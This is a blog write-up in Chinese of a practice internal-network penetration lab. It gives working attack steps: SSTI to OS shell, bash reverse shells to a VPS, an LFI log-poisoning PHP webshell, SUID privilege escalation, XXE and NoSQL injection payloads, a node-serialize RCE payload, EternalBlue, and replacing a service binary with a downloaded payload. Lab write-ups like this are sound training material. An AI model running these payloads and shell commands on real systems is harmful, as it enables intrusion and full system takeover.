内网靶场练习(一)
本文最后更新于 530 天前,其中的信息可能已经有所发展或是发生改变。
内网靶场打得不多,碰巧在 “ 刨洞安全团队” 公众号上看见了一个练习靶场,磕磕绊绊做了下来,有的地方还不是很清楚,先简单记录下
靶场的官方 WP 地址《欧拉一号 Writeup!》

其他参考文章:


外网打点


访问靶机,返回如下页面

观察到 Python 和 Flask,考虑存在 SSTI,但是参数未知,先进行探测

python arjun.py -u http://ip/ --get

探测到 GET 方式参数 name,直接尝试 ?name={{7*7}}

直接上 tplmap,python tplmap.py -u 'http://ip/?name=1' --os-shell,可以命令执行且权限为 root


信息收集与代理转发


先判断靶机出网情况 curl -v lyzdzl.dnslog.cn

可以出网,查看 ip 配置情况,ifconfig 没有输出,换成 ip addr 发现双网卡

VPS 开端口监听 nc -lvvp port,靶机连接 bash -c "bash -i >& /dev/tcp/vps/port 0>&1"

ifconfig 没有安装,所以之前没有回显

下载 fscan 到靶机 curl -O http://ip/fscan_amd64,开扫

关注点在 .101/102/200/201 上面,配置 NPS+SwitchyOmega 代理转发


第一台机器


观察到 include.php?file= 的访问路径,考虑存在文件包含,?file=../../../../../etc/passwd

尝试日志包含写 shell,?file=xxx User-Agent: <?php @eval($_POST[1]);?>

包含执行,POST ?file=../../../../var/log/nginx/access.log 1=phpinfo();

挂蚁剑走代理,权限为 nginx,不出网,需要提权

sudo -l 不可行,探一下可执行路径和 SUID 权限

pkexec 没法提权,而后发现在 config.php 存在数据库配置密码,考虑密码复用

但是当前是蚁剑的命令执行环境,非交互式 shell,需要再转发一下,转发到 .100 上的某个端口

因为 .100 出网,直接 yum install -y nc,然后开启监听 nc -lvnp 9997,.101 在蚁剑上执行 bash -i >& /dev/tcp/10.10.10.100/9997 0>&1 弹回来

su 切换用户

再用 pspy64 探一下,发现 root 会执行 /home/catcat/bashup.sh

考虑通过修改计时任务提权 echo -e "#!/bin/bash\nchmod 4755 /bin/bash",而后 bash -p 即可


第二台机器


.102 在刚刚扫描的结果中只有一个 ssh 端口开放(所以一开始没打,觉得没东西),再单独扫一次常见 Web 服务端口,发现 5000 开放

挂 socks 代理后访问,是个登录界面,Wappalyzer 探测为 Express + Node.js

然后输入用户名和密码抓包,因为隧道是打在 VPS 上的,所以用 bp 抓包的时候要设置 User options -> SOCKS Proxy

登陆不成功,爆破无果,考虑注入,因为是 Node.js,想到 Nosql 注入,常用 payload 打一下,成功登录

New Artical 是新建文章的功能,试了下打 XSS,结果报错把路径爆出来了

然后测了下文件上传接口,上传后显示格式不匹配

接着抓,通过回显猜测可以打 XXE,常用 payload 打一下

<?xml version = "1.0"?>
<!DOCTYPE title [
<!ELEMENT title ANY>
<!ENTITY file SYSTEM "file:///etc/passwd"> 
]>
<post><title>&file;</title><description>Example Description</description><markdown>Example Markdown</markdown></post>

回显正常,可以利用

但是直接读 /root/root.txt 不行,应该是权限问题,尝试读源码 /home/bog/blog/server.js


const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()

mongoose.connect('mongodb://172.18.0.2/blog')

app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));

function authenticated(c) {
    if (typeof c == 'undefined')
        return false

    c = serialize.unserialize(c)

    if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
        return true
    } else {
        return false
    }
}

app.get('/', async (req, res) => {
    const articles = await Article.find().sort({
        createdAt: 'desc'
    })
    res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})

app.use('/articles', articleRouter)
app.use('/login', loginRouter)

app.listen(5000)

存在对 cookies.auth 的反序列化操作,考虑反弹 shell 到 100 的某个端口上

serialize = require('node-serialize');
var test = {
 rce : function(){require('child_process').exec('cmd',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

本地生成后 urlencode() 下,然后替换 auth ,发包即可

可以接着用 pspy64/lse.sh 这类工具探一下,但是因为不出网,所以考虑的是在 .100 上放好再传到 .102 上

注意到 /bin/check 里面导入了 os 模块但是没使用,同时 os.py 可写;所以思路其实就是把 /usr/lib64/python2.7/os.py 改为 system('bash'),然后 sudo /bin/check 执行提权

PS:打这块的时候折腾了一会,然后 .102 环境就不太稳定了,再后来 socks 连接不过去了……


第三台机器


.200 存在 MS17-010,和云镜Initial那个一样,msf 走 socks 代理,windows/smb/ms17_010_eternalblue=>set RHOST 10.10.10.200=>run

meterpreter > getuid
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Server username: NT AUTHORITY\SYSTEM
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16

系统权限,直接读


第四台机器


.201 有 80 端口开放,开 NPS 直接走,需要密码,admin/admin 登录

存在文件上传接口

开 bp 截了一下返回包发现并不会返回存储路径,只会跳转到 /sp_up.php?msg=SUCCESS,注意到 445 端口开放,暂时没什么好的思路,看了一下 wp,提到了利用 SCF文件攻击

应该是改编自这里《利用SCF文件攻击进行渗透实战》

准备好文件上传,抓取 NTLMv2 Hash 然后字典解密(此处省略…… 因为 responder 监听一直失败,)

在端口扫描的时候可以知道 5985 端口是开放的,所以可以尝试利用 evil-winrm 进行攻击

查找当前用户的历史 PowerShell 记录 type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

从远程下载了 service.exe 并且在C:\Program Files\goservice 中运行,可以考虑 msf 生成一个监听 payload.exe 然后替换掉这个 service.exe

本地生成后上传到 .100,python 开启 http.server 服务

把刚刚历史文件里的命令复制下来改一下 (new-object net.webclient).downloadfile('http://10.10.10.100:8002/payload.exe','c:\program files\goservice\service.exe')

.100 开启监听,然后 .201 运行 sc.exe start GoService 即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇